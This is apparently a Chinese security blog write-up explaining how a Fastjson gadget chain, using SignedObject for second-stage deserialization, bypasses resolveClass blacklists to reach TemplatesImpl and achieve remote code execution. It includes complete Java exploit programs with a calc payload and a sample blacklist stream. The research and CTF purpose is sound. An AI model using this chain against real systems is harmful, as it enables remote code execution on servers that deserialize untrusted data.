該利用鏈可以在fastjson多個版本實現RCE,并且借助SignedObject繞過第一層安全的resolveClass對于TemplatesImpl類的檢查。

條件如下:

  1. 1. ObjectInputStream(反序列化)輸入數據可控
  2. 2. 引入Fastjson依賴

FastJson之不安全的反序列化利用

說起來還是AliyunCTF那道ezbean的非預期,很多師傅使用FastJson#toString方法觸發TemplatesImpl#getOutputProperties實現RCE

gadget

BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties

FastJson反序列化并不是通過ObjectInputStream.readObject()還原對象,而是在反序列化的過程中自動調用類屬性的setter/getter方法,將JSON字符串還原成對象。

因此從FJ 1.2.49開始,JSONArrayJSONObject開始重寫了resolveClass,過濾了諸如TemplatesImpl的危險類。而ezbean那道題使用了一個不安全的ObjectInputStream進行反序列化。

這也就導致了選手通過引用的數據類型從而不執行resolveClass以繞過其對危險類的檢查,導致了非預期。

exp

List list = new ArrayList<>();
        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
        list.add(templates);          //第一次添加為了使得templates變成引用類型從而繞過JsonArray的resolveClass黑名單檢測
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);           //此時在hash表中查到了映射,因此接下來以引用形式輸出
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd,"val",jsonArray);
        list.add(bd);
        //字節
        byte[] payload = SerializerUtils.serialize(list);
        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));
        ois.readObject();

問題

似乎這樣的方式只能在目標環境使用了一個不安全的ObjectInputStream的場景下應用。

因為templates是以引用的形式來繞過FJ的resolveClass方法的黑名單檢查,因此在(見exp第三行)必須把templates添加到list中,所以如果重寫了ObjectInputStream過濾templates,這樣的方法就失效了。

public class MyInputStream extends ObjectInputStream {
    private final List BLACKLIST = Arrays.asList("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter", "com.sun.syndication.feed.impl.ObjectBean", "import com.sun.syndication.feed.impl.ToStringBean");
    public MyInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }
    protected Class resolveClass(ObjectStreamClass cls) throws ClassNotFoundException, IOException {
        if (this.BLACKLIST.contains(cls.getName())) {
            throw new InvalidClassException("The class " + cls.getName() + " is on the blacklist");
        } else {
            return super.resolveClass(cls);
        }
    }
}

解決方案也很簡單,就是通過二次反序列化繞過。

SignedObject

簡單介紹下SignedObject,摘錄自Poria師傅博客

當防御者重寫了ObjectInputStream類,并且再resolveClass方法定義了反序列化黑名單類時,此時就需要通過二次反序列化繞過。

顧名思義,二次反序列化攻擊就是在受害服務器進行第一次反序列化的過程中借助某些類的方法進行第二次反序列化。而第二次反序列化是沒有ban惡意類的,通過這種方法間接的實現bypass黑名單。

閱讀該類注釋可知這個類可以存放一個序列化數據并且有一個屬于該數據的簽名。

More specifically, a SignedObject contains another Serializable object, the (to-be-)signed object and its signature.

再觀察getObject方法,可以看到其中進行了一次反序列化,這完美符合了我們的要求,并且該類是jdk內置類。

事實上,該類主要用于加密反序列化數據,防止攻擊者截獲數據包從而解析序列化數據(竟然有些諷刺)。

/**
     * Retrieves the encapsulated object.
     * The encapsulated object is de-serialized before it is returned.
     *
     * @return the encapsulated object.
     *
     * @exception IOException if an error occurs during de-serialization
     * @exception ClassNotFoundException if an error occurs during
     * de-serialization
     */
    public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }

而要反序列化的this.content可以通過構造方法賦值,并且該方法是一個相對容易觸發的getter方法,所以問題轉化為了如何觸發SignedObject#getObject。

解決方案

最好找只依賴于FastJson的包的gadget,使得攻擊面最大。

而正好JsonObject#toString可以觸發任意getter方法,而toString又可以通過BadAttributeValueExpException#readObject調用,因此整條鏈子就通了。

gadget
* 繞過第一次的TemplatesImpl黑名單檢查
    BadAttributeValueExpException#readObject
    JSONOBJECT#toString
    SignedObject#getObject
* 二次反序列化
    * 引用繞過JSON自帶resolveClass的黑名單檢查
        BadAttributeValueExpException#readObject
        JSONArray#toString
        TemplatesImpl#getOutputProperties
            TemplatesImpl#newTransformer
            TemplatesImpl#getTransletInstance
            TemplatesImpl#defineTransletClasses
            TemplatesImpl#defineClass
exp
package gadget.fastjson;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import gadget.doubleunser.MyInputStream;
import util.GadgetUtils;
import util.ReflectionUtils;
import util.SerializerUtils;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.List;
public class FJ2 {
    public static void main(String[] args) throws Exception{
        List list = new ArrayList<>();
        TemplatesImpl templates = GadgetUtils.createTemplatesImpl("calc");
        list.add(templates);          //第一次添加為了使得templates變成引用類型從而繞過JsonArray的resolveClass黑名單檢測
        JSONArray jsonArray2 = new JSONArray();
        jsonArray2.add(templates);           //此時在handles這個hash表中查到了映射,后續則會以引用形式輸出
        BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd2,"val",jsonArray2);
        list.add(bd2);
        //二次反序列化
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));
        //觸發SignedObject#getObject
        JSONArray jsonArray1 = new JSONArray();
        jsonArray1.add(signedObject);
        BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
        ReflectionUtils.setFieldValue(bd1,"val",jsonArray1);
        //驗證
        byte[] payload = SerializerUtils.serialize(bd1);
        ObjectInputStream ois = new MyInputStream(new ByteArrayInputStream(payload));  //再套一層inputstream檢查TemplatesImpl,不可用
        ois.readObject();
    }
}

調試

通過SingedObject繞過了黑名單對于Templates的校驗。觸發BadAttributeValueExpException#readObject,通過gf.get獲取JsonArray。

從JSON#toString觸發JSON#toJSONString,并在下圖斷點處getter方法。

進入到JSONSerializer#write方法,首先獲取object的類名,隨后,將觸發ListSerializer。

接下來觸發ListSerializer#write一段很長的方法,主要就是進入到for循環把list的東西取出來進行后續操作。

后面比較復雜,總之就是通過createJavaBeanSerializer創建ObjectSerializer對象。通過ASM技術創建目標類(在這里是SignedObject)進行后續的處理。

進入到了ASMSerializerFactory#generaterWriteMethod,可以看到他就是把SignedObject重構出來了。獲取到該類的三個字段并一個一個觸發對應的getter方法。

最終觸發了SignedObject#getObject進行了二次反序列化。

同樣的,通過了JSONArray#toString最終通過ASMSerializerFactory#_get觸發TemplatesImpl#getOutputProperties方法實現RCE。

結語

fastjson的利用往往通過parseObject觸發反序列化,此次探索是在readObject反序列化場景下進行。真實場景下不太了解,emm可能在ctf中可以通過這條鏈子打個非預期吧。

由于筆者水平不高,希望師傅們多多指正。